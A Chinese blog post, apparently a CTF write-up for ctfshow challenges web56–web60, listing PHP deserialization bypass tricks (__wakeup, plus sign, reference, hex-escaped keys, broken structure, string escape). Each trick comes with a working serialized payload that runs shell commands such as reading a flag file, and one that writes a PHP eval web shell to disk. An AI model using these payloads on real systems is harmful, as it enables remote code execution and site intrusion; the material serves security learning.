当前位置: 首页 > article >正文

【Web】PHP反序列化的一些trick

目录

①__wakeup绕过

②加号绕过正则匹配

③引用绕过相等

④16进制绕过关键词过滤

⑤Exception绕过

⑥字符串逃逸


要中期考试乐(悲)

①__wakeup绕过


反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时,wakeup方法会被绕过
(php5-php5.6.25;php7-php7.0.10)

②加号绕过正则匹配

例题1:web56

$a=new backdoor();
$a->name='system("tac /f*");';
echo serialize($a);

//O:8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}
//O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

 payload:

data=O:+8:"backdoor":1:{s:4:"name";s:18:"system("tac /f*");";}

③引用绕过相等

例题2:web57

用&保证password和secret指向相同的内存引用地址

<?php

class login{

    public $username='admin';
    public $password;
    public $secret;

    private $code="system('cat /f1ag');";

    public function __wakeup(){
        $this->secret = file_get_contents("/f1ag");
    }

    public function check_login(){
        if($this->username = 'admin' && $this->password==$this->secret){
            eval($this->code);
        }
    }
}
$a=new login();
$a->password=&$a->secret;
echo urlencode(serialize($a));

//O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D

payload:

data=O%3A5%3A%22login%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A3%3Bs%3A11%3A%22%00login%00code%22%3Bs%3A20%3A%22system%28%27cat+%2Ff1ag%27%29%3B%22%3B%7D 

④16进制绕过关键词过滤

反序列化后的字符串,不能出现某个关键单词时,可以使用大S绕过(表示支持assic码的hex值)

举例:

?web=O:3:"syc":1:{s:5:"lover";s:56:"file_put_contents('1.php','<?php eval($_POST[cmd]);?>');";

当lover被过滤的时候,可以如下绕过

推荐一个在线平台:

在线字符串和16进制互转

?web=O:3:"syc":1:{S:5:"\6c\6f\76\65\72";s:56:"file_put_contents('1.php','<?php eval($_POST[cmd]);?>');";

⑤Exception绕过

破坏反序列化结构即可

例题3:web59

$a=new backdoor();
echo serialize($a);

//O:8:"backdoor":0:{}
//O:8:"backdoor":0:{

payload:

data= O:8:"backdoor":0:{

⑥字符串逃逸

例题4:web60

 system->ctfshow(由6变7)

要逃逸的字符串:

";s:1:"a";s:7:"tac /f*";}

(总长25)

最终payload:

m=systemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystemsystem";s:1:"a";s:7:"tac /f*";}


http://www.kler.cn/news/133526.html

相关文章:

  • 10、背景分离 —— 大津算法
  • mac中安装Homebrew
  • 移动端表格分页uni-app
  • 本地开发环境和服务器传输数据的几种方法
  • python自动化第一篇—— 带图文的execl的自动化合并
  • flink中配置Rockdb的重要配置项
  • 跟李沐学AI-深度学习课程05线性代数
  • react中设置activeClassName的笔记
  • 4.6每日一题(多元函数的隐函数求导)
  • 简单的用Python实现一下,采集某牙视频,多个视频翻页下载
  • 图像分类(五) 全面解读复现ResNet
  • idea启动tomcat报错404
  • 基于未来搜索算法优化概率神经网络PNN的分类预测 - 附代码
  • 2311rust,到60版本更新
  • 资深测试总结,现在软件测试有未来吗?“你“的底气在哪里?
  • mysql表字段数据类型对应java类型
  • 矩阵的QR分解
  • 向pycdc项目提的一个pr
  • 使用Qt实现多人聊天工作室
  • 聚观早报 |联想集团Q2财季业绩;小鹏汽车Q3营收
  • uniapp自定义组件
  • 线性方程组
  • Django部署时静态文件配置的坑
  • 2023最新最全【Nacos】零基础安装教程
  • 2023年首届天府杯数学建模国际大赛问题A思路详解与参考代码:大地测量数据中异常现象的特征和识别
  • 搜维尔科技:业内普遍选择Varjo头显作为医疗VR/AR/XR解决方案
  • Linux | C语言中volatile关键字的理解
  • 盘点54个Python实用工具源码Python爱好者不容错过
  • PPT基础入门
  • F. Alex‘s whims Codeforces Round 909 (Div. 3) 1899F